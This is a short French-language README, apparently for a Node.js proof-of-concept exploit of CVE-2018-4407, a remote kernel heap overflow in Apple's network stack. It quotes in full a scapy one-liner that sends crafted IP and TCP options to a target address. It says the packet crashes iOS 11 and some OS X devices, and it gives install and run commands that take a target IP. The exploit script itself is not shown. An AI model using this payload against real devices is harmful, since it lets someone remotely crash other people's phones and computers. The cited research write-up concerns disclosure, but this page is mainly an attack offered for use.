
Code d'exploitation PoC en Node.js pour CVE-2018-4407
Code d'exploitation PoC Node.js pour CVE-2018-4407
Auteur : Sam Decrock
Ce script est basé sur le script scapy fourni par Zuk :
iOS 12 / OS X *Remote Kernel Heap Overflow (CVE-2018-4407) POC* in a tweet:
— Zuk (@ihackbanme) 1er novembre 2018
pip install scapy
sudo scapy
send(IP(dst=“Target IP“,options=[IPOption(“A”*8)])/TCP(dport=2323,options=[(19, “1"*18),(19, “2”*18)]))
Il fait planter les appareils sous iOS 11 ou antérieur ainsi que certaines versions d'OS X.
Pour installer les modules requis, exécutez :
npm install
Pour exécuter, passez l'adresse IP cible en argument :
node attack.js 192.168.1.20
Article original par Kevin Backhouse : https://lgtm.com/blog/apple_xnu_icmp_error_CVE-2018-4407